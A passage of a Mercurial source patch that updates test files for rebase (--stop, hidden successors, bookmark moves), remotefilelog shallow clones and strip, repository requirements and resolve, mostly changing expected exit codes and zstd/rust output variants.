note: not rebasing 2:1e9a3c00cbe9 mybook "b", already in destination as 3:be1832deae9a tip "b" +Check that working directory and bookmark was updated to rev 3 although rev 2 +was skipped + $ hg log -r . + 3:be1832deae9a b (no-eol) + $ hg bookmarks + mybook 3:be1832deae9a + $ hg debugobsolete --rev tip + 1e9a3c00cbe90d236ac05ef61efcc5e40b7412bc be1832deae9ac531caa7438b8dcf6055a122cd8e 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '4', 'operation': 'rebase', 'user': 'test'} + +Obsoleted working parent and bookmark could be moved if an ancestor of working +parent gets moved: + + $ hg init $TESTTMP/ancestor-wd-move + $ cd $TESTTMP/ancestor-wd-move + $ hg debugdrawdag <<'EOS' + > E D1 # rebase: D1 -> D2 + > | | + > | C + > D2 | + > | B + > |/ + > A + > EOS + $ hg update D1 -q + $ hg bookmark book -i + $ hg rebase -r B+D1 -d E + rebasing 1:112478962961 B "B" + note: not rebasing 5:15ecf15e0114 book D1 tip "D1", already in destination as 2:0807738e0be9 D2 "D2" + 1 new orphan changesets + $ hg log -G -T '{desc} {bookmarks}' + @ B book + | + | x D1 + | | + o | E + | | + | * C + | | + o | D2 + | | + | x B + |/ + o A + +Rebasing a merge with one of its parent having a hidden successor + + $ hg init $TESTTMP/merge-p1-hidden-successor + $ cd $TESTTMP/merge-p1-hidden-successor + + $ hg debugdrawdag <<'EOS' + > E + > | + > B3 B2 # amend: B1 -> B2 -> B3 + > |/ # B2 is hidden + > | D + > | |\ + > | B1 C + > |/ + > A + > EOS + 1 new orphan changesets + + $ eval `hg tags -T '{tag}={node}\n'` + $ rm .hg/localtags + + $ hg rebase -r $D -d $E + rebasing 5:9e62094e4d94 "D" + + $ hg log -G + o 7:a699d059adcf D + |\ + | o 6:ecc93090a95c E + | | + | o 4:0dc878468a23 B3 + | | + o | 1:96cc3511f894 C + / + o 0:426bada5c675 A + +For some reasons (--hidden, directaccess, etc.), +rebasestate may contain hidden hashes. "rebase --abort" should work regardless. + + $ hg init $TESTTMP/hidden-state1 + $ cd $TESTTMP/hidden-state1 + + $ hg debugdrawdag <<'EOS' + > C + > | + > D B # B/D=B + > |/ + > A + > EOS + + $ eval `hg tags -T '{tag}={node}\n'` + $ rm .hg/localtags + + $ hg update -q $C + $ hg rebase -s $B -d $D + rebasing 1:2ec65233581b "B" + merging D + warning: conflicts while merging D! (edit, then use 'hg resolve --mark') + unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') + [240] + + $ hg debugobsolete $B + 1 new obsolescence markers + obsoleted 1 changesets + 1 new orphan changesets + $ hg debugobsolete $C + 1 new obsolescence markers + obsoleted 1 changesets + $ cp -R . $TESTTMP/hidden-state2 + + $ hg log -G + @ 2:b18e25de2cf5 D + | + | % 1:2ec65233581b B (pruned) + |/ + o 0:426bada5c675 A + + $ hg summary + parent: 2:b18e25de2cf5 tip + D + branch: default + commit: 1 modified, 1 added, 1 unknown, 1 unresolved + update: 1 new changesets, 2 branch heads (merge) + phases: 3 draft + rebase: 0 rebased, 2 remaining (rebase --continue) + + $ hg rebase --abort + rebase aborted + +Also test --continue for the above case + + $ cd $TESTTMP/hidden-state2 + $ hg resolve -m + (no more unresolved files) + continue: hg rebase --continue + $ hg rebase --continue + note: not rebasing 1:2ec65233581b "B", it has no successor + note: not rebasing 3:7829726be4dc tip "C", it has no successor + $ hg log -G + @ 2:b18e25de2cf5 D + | + o 0:426bada5c675 A + +==================== +Test --stop option | +==================== + $ cd .. + $ hg init rbstop + $ cd rbstop + $ echo a>a + $ hg ci -Aqma + $ echo b>b + $ hg ci -Aqmb + $ echo c>c + $ hg ci -Aqmc + $ echo d>d + $ hg ci -Aqmd + $ hg up 0 -q + $ echo f>f + $ hg ci -Aqmf + $ echo D>d + $ hg ci -Aqm "conflict with d" + $ hg up 3 -q + $ hg log -G --template "{rev}:{short(node)} {person(author)}\n{firstline(desc)} {topic}\n\n" + o 5:00bfc9898aeb test + | conflict with d + | + o 4:dafd40200f93 test + | f + | + | @ 3:055a42cdd887 test + | | d + | | + | o 2:177f92b77385 test + | | c + | | + | o 1:d2ae7f538514 test + |/ b + | + o 0:cb9a9f314b8b test + a + + $ hg rebase -s 1 -d 5 + rebasing 1:d2ae7f538514 "b" + rebasing 2:177f92b77385 "c" + rebasing 3:055a42cdd887 "d" + merging d + warning: conflicts while merging d! (edit, then use 'hg resolve --mark') + unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') + [240] + $ hg rebase --stop + 1 new orphan changesets + $ hg log -G --template "{rev}:{short(node)} {person(author)}\n{firstline(desc)} {topic}\n\n" + o 7:7fffad344617 test + | c + | + o 6:b15528633407 test + | b + | + o 5:00bfc9898aeb test + | conflict with d + | + o 4:dafd40200f93 test + | f + | + | @ 3:055a42cdd887 test + | | d + | | + | x 2:177f92b77385 test + | | c + | | + | x 1:d2ae7f538514 test + |/ b + | + o 0:cb9a9f314b8b test + a + +Test it aborts if unstable csets is not allowed: +=============================================== + $ cat >> $HGRCPATH << EOF + > [experimental] + > evolution.allowunstable=False + > EOF + + $ hg strip 6 --no-backup -q + $ hg log -G --template "{rev}:{short(node)} {person(author)}\n{firstline(desc)} {topic}\n\n" + o 5:00bfc9898aeb test + | conflict with d + | + o 4:dafd40200f93 test + | f + | + | @ 3:055a42cdd887 test + | | d + | | + | o 2:177f92b77385 test + | | c + | | + | o 1:d2ae7f538514 test + |/ b + | + o 0:cb9a9f314b8b test + a + + $ hg rebase -s 1 -d 5 + rebasing 1:d2ae7f538514 "b" + rebasing 2:177f92b77385 "c" + rebasing 3:055a42cdd887 "d" + merging d + warning: conflicts while merging d! (edit, then use 'hg resolve --mark') + unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') + [240] + $ hg rebase --stop + abort: cannot remove original changesets with unrebased descendants + (either enable obsmarkers to allow unstable revisions or use --keep to keep original changesets) + [20] + $ hg rebase --abort + saved backup bundle to $TESTTMP/rbstop/.hg/strip-backup/b15528633407-6eb72b6f-backup.hg + rebase aborted + +Test --stop when --keep is passed: +================================== + $ hg rebase -s 1 -d 5 --keep + rebasing 1:d2ae7f538514 "b" + rebasing 2:177f92b77385 "c" + rebasing 3:055a42cdd887 "d" + merging d + warning: conflicts while merging d! (edit, then use 'hg resolve --mark') + unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') + [240] + $ hg rebase --stop + $ hg log -G --template "{rev}:{short(node)} {person(author)}\n{firstline(desc)} {topic}\n\n" + o 7:7fffad344617 test + | c + | + o 6:b15528633407 test + | b + | + o 5:00bfc9898aeb test + | conflict with d + | + o 4:dafd40200f93 test + | f + | + | @ 3:055a42cdd887 test + | | d + | | + | o 2:177f92b77385 test + | | c + | | + | o 1:d2ae7f538514 test + |/ b + | + o 0:cb9a9f314b8b test + a + +Test --stop aborts when --collapse was passed: +============================================= + $ cat >> $HGRCPATH << EOF + > [experimental] + > evolution.allowunstable=True + > EOF + + $ hg strip 6 + saved backup bundle to $TESTTMP/rbstop/.hg/strip-backup/b15528633407-6eb72b6f-backup.hg + $ hg log -G --template "{rev}:{short(node)} {person(author)}\n{firstline(desc)} {topic}\n\n" + o 5:00bfc9898aeb test + | conflict with d + | + o 4:dafd40200f93 test + | f + | + | @ 3:055a42cdd887 test + | | d + | | + | o 2:177f92b77385 test + | | c + | | + | o 1:d2ae7f538514 test + |/ b + | + o 0:cb9a9f314b8b test + a + + $ hg rebase -s 1 -d 5 --collapse -m "collapsed b c d" + rebasing 1:d2ae7f538514 "b" + rebasing 2:177f92b77385 "c" + rebasing 3:055a42cdd887 "d" + merging d + warning: conflicts while merging d! (edit, then use 'hg resolve --mark') + unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') + [240] + $ hg rebase --stop + abort: cannot stop in --collapse session + [20] + $ hg rebase --abort + rebase aborted + $ hg diff + $ hg log -G --template "{rev}:{short(node)} {person(author)}\n{firstline(desc)} {topic}\n\n" + o 5:00bfc9898aeb test + | conflict with d + | + o 4:dafd40200f93 test + | f + | + | @ 3:055a42cdd887 test + | | d + | | + | o 2:177f92b77385 test + | | c + | | + | o 1:d2ae7f538514 test + |/ b + | + o 0:cb9a9f314b8b test + a + +Test --stop raise errors with conflicting options: +================================================= + $ hg rebase -s 3 -d 5 + rebasing 3:055a42cdd887 "d" + merging d + warning: conflicts while merging d! (edit, then use 'hg resolve --mark') + unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') + [240] + $ hg rebase --stop --dry-run + abort: cannot specify both --stop and --dry-run + [10] + + $ hg rebase -s 3 -d 5 + abort: rebase in progress + (use 'hg rebase --continue', 'hg rebase --abort', or 'hg rebase --stop') + [20] + $ hg rebase --stop --continue + abort: cannot specify both --stop and --continue + [10] + +Test --stop moves bookmarks of original revisions to new rebased nodes: +====================================================================== + $ cd .. + $ hg init repo + $ cd repo + + $ echo a > a + $ hg ci -Am A + adding a + + $ echo b > b + $ hg ci -Am B + adding b + $ hg book X + $ hg book Y + + $ echo c > c + $ hg ci -Am C + adding c + $ hg book Z + + $ echo d > d + $ hg ci -Am D + adding d + + $ hg up 0 -q + $ echo e > e + $ hg ci -Am E + adding e + created new head + + $ echo doubt > d + $ hg ci -Am "conflict with d" + adding d + + $ hg log -GT "{rev}: {node|short} '{desc}' bookmarks: {bookmarks}\n" + @ 5: 39adf30bc1be 'conflict with d' bookmarks: + | + o 4: 9c1e55f411b6 'E' bookmarks: + | + | o 3: 67a385d4e6f2 'D' bookmarks: Z + | | + | o 2: 49cb3485fa0c 'C' bookmarks: Y + | | + | o 1: 6c81ed0049f8 'B' bookmarks: X + |/ + o 0: 1994f17a630e 'A' bookmarks: + + $ hg rebase -s 1 -d 5 + rebasing 1:6c81ed0049f8 X "B" + rebasing 2:49cb3485fa0c Y "C" + rebasing 3:67a385d4e6f2 Z "D" + merging d + warning: conflicts while merging d! (edit, then use 'hg resolve --mark') + unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') + [240] + $ hg rebase --stop + 1 new orphan changesets + $ hg log -GT "{rev}: {node|short} '{desc}' bookmarks: {bookmarks}\n" + o 7: 9c86c650b686 'C' bookmarks: Y + | + o 6: 9b87b54e5fd8 'B' bookmarks: X + | + @ 5: 39adf30bc1be 'conflict with d' bookmarks: + | + o 4: 9c1e55f411b6 'E' bookmarks: + | + | * 3: 67a385d4e6f2 'D' bookmarks: Z + | | + | x 2: 49cb3485fa0c 'C' bookmarks: + | | + | x 1: 6c81ed0049f8 'B' bookmarks: + |/ + o 0: 1994f17a630e 'A' bookmarks: + diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rebase-parameters.t --- a/tests/test-rebase-parameters.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-rebase-parameters.t Tue Apr 20 11:01:06 2021 -0400 @@ -66,7 +66,7 @@ $ hg rebase --continue --collapse abort: cannot use collapse with continue or abort - [255] + [10] $ hg rebase --continue --dest 4 abort: cannot specify both --continue and --dest @@ -94,15 +94,15 @@ $ hg rebase --rev 'wdir()' --dest 6 abort: cannot rebase the working copy - [255] + [10] $ hg rebase --source 'wdir()' --dest 6 abort: cannot rebase the working copy - [255] + [10] $ hg rebase --source 1 --source 'wdir()' --dest 6 abort: cannot rebase the working copy - [255] + [10] $ hg rebase --source '1 & !1' --dest 8 empty "source" revision set - nothing to rebase @@ -508,11 +508,11 @@ $ hg rebase -i abort: interactive history editing is supported by the 'histedit' extension (see "hg --config extensions.histedit= help -e histedit") - [255] + [10] $ hg rebase --interactive abort: interactive history editing is supported by the 'histedit' extension (see "hg --config extensions.histedit= help -e histedit") - [255] + [10] $ cd .. diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rebase-scenario-global.t --- a/tests/test-rebase-scenario-global.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-rebase-scenario-global.t Tue Apr 20 11:01:06 2021 -0400 @@ -266,14 +266,14 @@ $ hg rebase -s 5 -d 6 abort: source and destination form a cycle - [255] + [10] G onto B - merge revision with both parents not in ancestors of target: $ hg rebase -s 6 -d 1 rebasing 6:eea13746799a "G" abort: cannot rebase 6:eea13746799a without moving at least one of its parents - [255] + [10] $ hg rebase --abort rebase aborted @@ -325,9 +325,8 @@ $ hg pull --config phases.publish=True -q -r 6 . # update phase of 6 $ hg rebase -d 0 -b 6 - abort: cannot rebase public changesets - (see 'hg help phases' for details) - [10] + nothing to rebase + [1] $ hg rebase -d 5 -b 6 abort: cannot rebase public changesets (see 'hg help phases' for details) diff -r bc268ea9f984 -r f67b8946bb1b tests/test-remotefilelog-bgprefetch.t --- a/tests/test-remotefilelog-bgprefetch.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-remotefilelog-bgprefetch.t Tue Apr 20 11:01:06 2021 -0400 @@ -29,8 +29,10 @@ $ hgcloneshallow ssh://user@dummy/master shallow --noupdate streaming all changes - 2 files to transfer, 776 bytes of data - transferred 776 bytes in * seconds (*/sec) (glob) + 2 files to transfer, 776 bytes of data (no-zstd !) + transferred 776 bytes in * seconds (*/sec) (glob) (no-zstd !) + 2 files to transfer, 784 bytes of data (zstd !) + transferred 784 bytes in * seconds (* */sec) (glob) (zstd !) searching for changes no changes found @@ -63,6 +65,7 @@ > EOF $ hg strip tip saved backup bundle to $TESTTMP/shallow/.hg/strip-backup/6b4b6f66ef8c-b4b8bdaf-backup.hg (glob) + 1 files fetched over 1 fetches - (1 misses, 0.00% hit ratio) over *s (glob) $ clearcache $ hg pull diff -r bc268ea9f984 -r f67b8946bb1b tests/test-remotefilelog-bundles.t --- a/tests/test-remotefilelog-bundles.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-remotefilelog-bundles.t Tue Apr 20 11:01:06 2021 -0400 @@ -26,12 +26,12 @@ $ hg strip -r 66ee28d0328c 1 files updated, 0 files merged, 0 files removed, 0 files unresolved saved backup bundle to $TESTTMP/shallow/.hg/strip-backup/66ee28d0328c-3d7aafd1-backup.hg (glob) - 1 files fetched over 1 fetches - (1 misses, 0.00% hit ratio) over *s (glob) + 2 files fetched over 2 fetches - (2 misses, 0.00% hit ratio) over *s (glob) $ hg unbundle .hg/strip-backup/66ee28d0328c-3d7aafd1-backup.hg adding changesets adding manifests adding file changes - added 2 changesets with 0 changes to 0 files + added 2 changesets with 2 changes to 1 files new changesets 66ee28d0328c:16db62c5946f (run 'hg update' to get a working copy) @@ -51,7 +51,7 @@ Pulling from a shallow bundle - $ hg strip -r 66ee28d0328c + $ hg strip -r 66ee28d0328c --config remotefilelog.strip.includefiles=none saved backup bundle to $TESTTMP/shallow/.hg/strip-backup/66ee28d0328c-3d7aafd1-backup.hg (glob) $ hg pull -r 66ee28d0328c .hg/strip-backup/66ee28d0328c-3d7aafd1-backup.hg pulling from .hg/strip-backup/66ee28d0328c-3d7aafd1-backup.hg @@ -63,12 +63,13 @@ new changesets 66ee28d0328c (1 drafts) (run 'hg update' to get a working copy) -Pulling from a full bundle +Pulling from a full bundle, also testing that strip produces a full bundle by +default. $ hg strip -r 66ee28d0328c saved backup bundle to $TESTTMP/shallow/.hg/strip-backup/66ee28d0328c-b6ee89e7-backup.hg (glob) - $ hg pull -r 66ee28d0328c ../fullbundle.hg - pulling from ../fullbundle.hg + $ hg pull -r 66ee28d0328c .hg/strip-backup/66ee28d0328c-b6ee89e7-backup.hg + pulling from .hg/strip-backup/66ee28d0328c-b6ee89e7-backup.hg searching for changes abort: cannot pull from full bundles (use `hg unbundle` instead) diff -r bc268ea9f984 -r f67b8946bb1b tests/test-remotefilelog-clone-tree.t --- a/tests/test-remotefilelog-clone-tree.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-remotefilelog-clone-tree.t Tue Apr 20 11:01:06 2021 -0400 @@ -30,6 +30,8 @@ exp-remotefilelog-repo-req-1 fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -71,6 +73,8 @@ exp-remotefilelog-repo-req-1 fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -91,8 +95,7 @@ # flakiness here $ hg clone --noupdate ssh://user@dummy/shallow full 2>/dev/null streaming all changes - remote: abort: Cannot clone from a shallow repo to a full repo. - [255] + [100] # getbundle full clone @@ -113,6 +116,8 @@ exp-remotefilelog-repo-req-1 fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store diff -r bc268ea9f984 -r f67b8946bb1b tests/test-remotefilelog-clone.t --- a/tests/test-remotefilelog-clone.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-remotefilelog-clone.t Tue Apr 20 11:01:06 2021 -0400 @@ -27,6 +27,8 @@ exp-remotefilelog-repo-req-1 fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -61,6 +63,8 @@ exp-remotefilelog-repo-req-1 fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -85,9 +89,9 @@ $ TEMP_STDERR=full-clone-from-shallow.stderr.tmp $ hg clone --noupdate ssh://user@dummy/shallow full 2>$TEMP_STDERR streaming all changes + [100] + $ cat $TEMP_STDERR remote: abort: Cannot clone from a shallow repo to a full repo. - [255] - $ cat $TEMP_STDERR abort: pull failed on remote $ rm $TEMP_STDERR @@ -110,6 +114,8 @@ exp-remotefilelog-repo-req-1 fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store diff -r bc268ea9f984 -r f67b8946bb1b tests/test-remotefilelog-local.t --- a/tests/test-remotefilelog-local.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-remotefilelog-local.t Tue Apr 20 11:01:06 2021 -0400 @@ -116,7 +116,7 @@ $ hg strip -r . 2 files updated, 0 files merged, 1 files removed, 0 files unresolved saved backup bundle to $TESTTMP/shallow/.hg/strip-backup/19edf50f4de7-df3d0f74-backup.hg (glob) - 4 files fetched over 2 fetches - (4 misses, 0.00% hit ratio) over *s (glob) + 3 files fetched over 2 fetches - (3 misses, 0.00% hit ratio) over *s (glob) # unbundle @@ -133,13 +133,14 @@ adding changesets adding manifests adding file changes - added 1 changesets with 0 changes to 0 files + added 1 changesets with 3 changes to 3 files new changesets 19edf50f4de7 (1 drafts) (run 'hg update' to get a working copy) + 2 files fetched over 1 fetches - (2 misses, 0.00% hit ratio) over *s (glob) $ hg up 3 files updated, 0 files merged, 0 files removed, 0 files unresolved - 4 files fetched over 1 fetches - (4 misses, 0.00% hit ratio) over *s (glob) + 1 files fetched over 1 fetches - (1 misses, 0.00% hit ratio) over *s (glob) $ cat a a @@ -148,7 +149,7 @@ $ clearcache $ hg revert -r .~2 y z no changes needed to z - 2 files fetched over 2 fetches - (2 misses, 0.00% hit ratio) over *s (glob) + 1 files fetched over 1 fetches - (1 misses, 0.00% hit ratio) over *s (glob) $ hg checkout -C -r . -q # explicit bundle should produce full bundle file @@ -159,7 +160,7 @@ $ cd .. $ hgcloneshallow ssh://user@dummy/master shallow2 -q - 1 files fetched over 1 fetches - (1 misses, 0.00% hit ratio) over *s (glob) + 2 files fetched over 1 fetches - (2 misses, 0.00% hit ratio) over *s (glob) $ cd shallow2 $ hg unbundle ../local.bundle adding changesets diff -r bc268ea9f984 -r f67b8946bb1b tests/test-remotefilelog-log.t --- a/tests/test-remotefilelog-log.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-remotefilelog-log.t Tue Apr 20 11:01:06 2021 -0400 @@ -30,6 +30,8 @@ exp-remotefilelog-repo-req-1 fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store diff -r bc268ea9f984 -r f67b8946bb1b tests/test-remotefilelog-partial-shallow.t --- a/tests/test-remotefilelog-partial-shallow.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-remotefilelog-partial-shallow.t Tue Apr 20 11:01:06 2021 -0400 @@ -18,8 +18,10 @@ $ hg clone --shallow ssh://user@dummy/master shallow --noupdate --config remotefilelog.includepattern=foo streaming all changes - 3 files to transfer, 336 bytes of data - transferred 336 bytes in * seconds (*/sec) (glob) + 3 files to transfer, 336 bytes of data (no-zstd !) + transferred 336 bytes in * seconds (* */sec) (glob) (no-zstd !) + 3 files to transfer, 338 bytes of data (zstd !) + transferred 338 bytes in * seconds (* */sec) (glob) (zstd !) searching for changes no changes found $ cat >> shallow/.hg/hgrc <> .hg/hgrc $ hg strip tip saved backup bundle to $TESTTMP/shallow/.hg/strip-backup/109c3a557a73-3f43405e-backup.hg (glob) + 1 files fetched over 1 fetches - (1 misses, 0.00% hit ratio) over *s (glob) $ clearcache $ hg pull @@ -163,8 +166,10 @@ $ hgcloneshallow ssh://user@dummy/master shallow2 streaming all changes - 2 files to transfer, 528 bytes of data - transferred 528 bytes in * seconds * (glob) + 2 files to transfer, 528 bytes of data (no-zstd !) + transferred 528 bytes in * seconds * (glob) (no-zstd !) + 2 files to transfer, 532 bytes of data (zstd !) + transferred 532 bytes in * seconds (* */sec) (glob) (zstd !) searching for changes no changes found updating to branch default @@ -180,7 +185,7 @@ x: untracked file differs 3 files fetched over 1 fetches - (3 misses, 0.00% hit ratio) over * (glob) abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ hg revert --all # Test batch fetching of lookup files during hg status diff -r bc268ea9f984 -r f67b8946bb1b tests/test-remotefilelog-sparse.t --- a/tests/test-remotefilelog-sparse.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-remotefilelog-sparse.t Tue Apr 20 11:01:06 2021 -0400 @@ -22,8 +22,10 @@ $ hgcloneshallow ssh://user@dummy/master shallow --noupdate streaming all changes - 2 files to transfer, 527 bytes of data - transferred 527 bytes in 0.* seconds (*/sec) (glob) + 2 files to transfer, 527 bytes of data (no-zstd !) + transferred 527 bytes in * seconds (* */sec) (glob) (no-zstd !) + 2 files to transfer, 534 bytes of data (zstd !) + transferred 534 bytes in * seconds (* */sec) (glob) (zstd !) searching for changes no changes found $ cd shallow @@ -48,6 +50,7 @@ $ printf "[remotefilelog]\npullprefetch=bookmark()\n" >> .hg/hgrc $ hg strip tip saved backup bundle to $TESTTMP/shallow/.hg/strip-backup/876b1317060d-b2e91d8d-backup.hg (glob) + 2 files fetched over 2 fetches - (2 misses, 0.00% hit ratio) over *s (glob) $ hg debugsparse --delete z @@ -72,8 +75,10 @@ $ hgcloneshallow ssh://user@dummy/master shallow2 streaming all changes - 2 files to transfer, 527 bytes of data - transferred 527 bytes in 0.* seconds (*) (glob) + 2 files to transfer, 527 bytes of data (no-zstd !) + transferred 527 bytes in * seconds (*) (glob) (no-zstd !) + 2 files to transfer, 534 bytes of data (zstd !) + transferred 534 bytes in * seconds (* */sec) (glob) (zstd !) searching for changes no changes found updating to branch default diff -r bc268ea9f984 -r f67b8946bb1b tests/test-remotefilelog-strip.t --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/test-remotefilelog-strip.t Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,68 @@ +#require no-windows + + $ . "$TESTDIR/remotefilelog-library.sh" + + $ hg init master + $ cd master + $ cat >> .hg/hgrc < [remotefilelog] + > server=True + > EOF + $ echo x > x + $ hg commit -qAm x + + $ cd .. + + $ hgcloneshallow ssh://user@dummy/master shallow -q + 1 files fetched over 1 fetches - (1 misses, 0.00% hit ratio) over *s (glob) + $ cd shallow + + $ cat >> $TESTTMP/get_file_linknode.py < from mercurial import node, registrar, scmutil + > cmdtable = {} + > command = registrar.command(cmdtable) + > @command(b'debug-file-linknode', [(b'r', b'rev', b'.', b'rev')], b'hg debug-file-linknode FILE') + > def debug_file_linknode(ui, repo, file, **opts): + > rflctx = scmutil.revsingle(repo.unfiltered(), opts['rev']).filectx(file) + > ui.status(b'%s\n' % node.hex(rflctx.ancestormap()[rflctx._filenode][2])) + > EOF + + $ cat >> .hg/hgrc < [ui] + > interactive=1 + > [extensions] + > strip= + > get_file_linknode=$TESTTMP/get_file_linknode.py + > [experimental] + > evolution=createmarkers,allowunstable + > EOF + $ echo a > a + $ hg commit -qAm msg1 + $ hg commit --amend 're:^$' -m msg2 + $ hg commit --amend 're:^$' -m msg3 + $ hg --hidden log -G -T '{rev} {node|short}' + @ 3 df91f74b871e + | + | x 2 70494d7ec5ef + |/ + | x 1 1e423846dde0 + |/ + o 0 b292c1e3311f + + $ hg debug-file-linknode -r 70494d a + df91f74b871e064c89afa1fe9e2f66afa2c125df + $ hg --hidden strip -r 1 3 + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved + saved backup bundle to $TESTTMP/shallow/.hg/strip-backup/df91f74b871e-c94d67be-backup.hg + + $ hg --hidden log -G -T '{rev} {node|short}' + o 1 70494d7ec5ef + | + @ 0 b292c1e3311f + +Demonstrate that the linknode points to a commit that is actually in the repo +after the strip operation. Otherwise remotefilelog has to search every commit in +the repository looking for a valid linkrev every time it's queried, such as +during push. + $ hg debug-file-linknode -r 70494d a + 70494d7ec5ef6cd3cd6939a9fd2812f9956bf553 diff -r bc268ea9f984 -r f67b8946bb1b tests/test-remotefilelog-tags.t --- a/tests/test-remotefilelog-tags.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-remotefilelog-tags.t Tue Apr 20 11:01:06 2021 -0400 @@ -18,8 +18,10 @@ $ hg clone --shallow ssh://user@dummy/master shallow --noupdate --config remotefilelog.excludepattern=.hgtags streaming all changes - 3 files to transfer, 662 bytes of data - transferred 662 bytes in * seconds (*/sec) (glob) + 3 files to transfer, 662 bytes of data (no-zstd !) + transferred 662 bytes in * seconds (* */sec) (glob) (no-zstd !) + 3 files to transfer, 665 bytes of data (zstd !) + transferred 665 bytes in * seconds (* */sec) (glob) (zstd !) searching for changes no changes found $ cat >> shallow/.hg/hgrc < dir1/file1 + $ echo b > dir1/file2 + $ mkdir dir1/subdir1 + $ echo c > dir1/subdir1/file3 + $ echo d > dir1/subdir1/file4 + $ hg ci -Aqm initial + $ hg mv dir1 dir2 + moving dir1/file1 to dir2/file1 + moving dir1/file2 to dir2/file2 + moving dir1/subdir1/file3 to dir2/subdir1/file3 + moving dir1/subdir1/file4 to dir2/subdir1/file4 + $ hg mv dir2/subdir1 dir2/subdir2 + moving dir2/subdir1/file3 to dir2/subdir2/file3 + moving dir2/subdir1/file4 to dir2/subdir2/file4 + $ hg ci -m 'move dir1/ to dir2/ and dir1/subdir1/ to dir2/subdir2/' + $ hg co 0 + 4 files updated, 0 files merged, 4 files removed, 0 files unresolved + $ echo e > dir1/subdir1/file5 + $ hg ci -Aqm 'add file in dir1/subdir1/' + $ hg merge 1 + 5 files updated, 0 files merged, 4 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg files + dir2/file1 + dir2/file2 + dir2/subdir2/file3 + dir2/subdir2/file4 + dir2/subdir2/file5 + $ cd .. diff -r bc268ea9f984 -r f67b8946bb1b tests/test-repo-compengines.t --- a/tests/test-repo-compengines.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-repo-compengines.t Tue Apr 20 11:01:06 2021 -0400 @@ -1,11 +1,19 @@ A new repository uses zlib storage, which doesn't need a requirement + $ cat << EOF >> $HGRCPATH + > [format] + > # stabilize test accross variant + > revlog-compression=zlib + > EOF + + $ hg init default $ cd default $ cat .hg/requires dotencode fncache generaldelta + persistent-nodemap (rust !) revlogv1 sparserevlog store @@ -54,6 +62,7 @@ dotencode fncache generaldelta + persistent-nodemap (rust !) revlogv1 sparserevlog store @@ -72,6 +81,7 @@ dotencode fncache generaldelta + persistent-nodemap (rust !) revlog-compression-zstd revlogv1 sparserevlog @@ -175,6 +185,7 @@ exp-compression-none fncache generaldelta + persistent-nodemap (rust !) revlogv1 sparserevlog store diff -r bc268ea9f984 -r f67b8946bb1b tests/test-requires.t --- a/tests/test-requires.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-requires.t Tue Apr 20 11:01:06 2021 -0400 @@ -5,7 +5,7 @@ $ hg commit -m test $ rm .hg/requires $ hg tip - abort: unknown version (2) in revlog 00changelog.i + abort: unknown version (65535) in revlog 00changelog.i [50] $ echo indoor-pool > .hg/requires $ hg tip @@ -53,6 +53,8 @@ featuresetup-test fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store diff -r bc268ea9f984 -r f67b8946bb1b tests/test-resolve.t --- a/tests/test-resolve.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-resolve.t Tue Apr 20 11:01:06 2021 -0400 @@ -153,15 +153,15 @@ $ hg up 0 abort: outstanding merge conflicts (use 'hg resolve' to resolve) - [255] + [20] $ hg merge 2 abort: outstanding merge conflicts (use 'hg resolve' to resolve) - [255] + [20] $ hg merge --force 2 abort: outstanding merge conflicts (use 'hg resolve' to resolve) - [255] + [20] set up conflict-free merge @@ -255,11 +255,13 @@ ancestor path: file1 (node 2ed2a3912a0b24502043eae84ee4b279c18b90dd) other path: file1 (node 6f4310b00b9a147241b071a60c28a650827fb03d) extra: ancestorlinknode = 99726c03216e233810a2564cbc0adfe395007eac + extra: merged = yes file: file2 (state "u") local path: file2 (hash cb99b709a1978bd205ab9dfd4c5aaa1fc91c7523, flags "") ancestor path: file2 (node 2ed2a3912a0b24502043eae84ee4b279c18b90dd) other path: file2 (node 6f4310b00b9a147241b071a60c28a650827fb03d) extra: ancestorlinknode = 99726c03216e233810a2564cbc0adfe395007eac + extra: merged = yes $ hg resolve -l R file1 U file2 @@ -271,7 +273,7 @@ { "commits": [{"label": "working copy", "name": "local", "node": "57653b9f834a4493f7240b0681efcb9ae7cab745"}, {"label": "merge rev", "name": "other", "node": "dc77451844e37f03f5c559e3b8529b2b48d381d1"}], "extras": [], - "files": 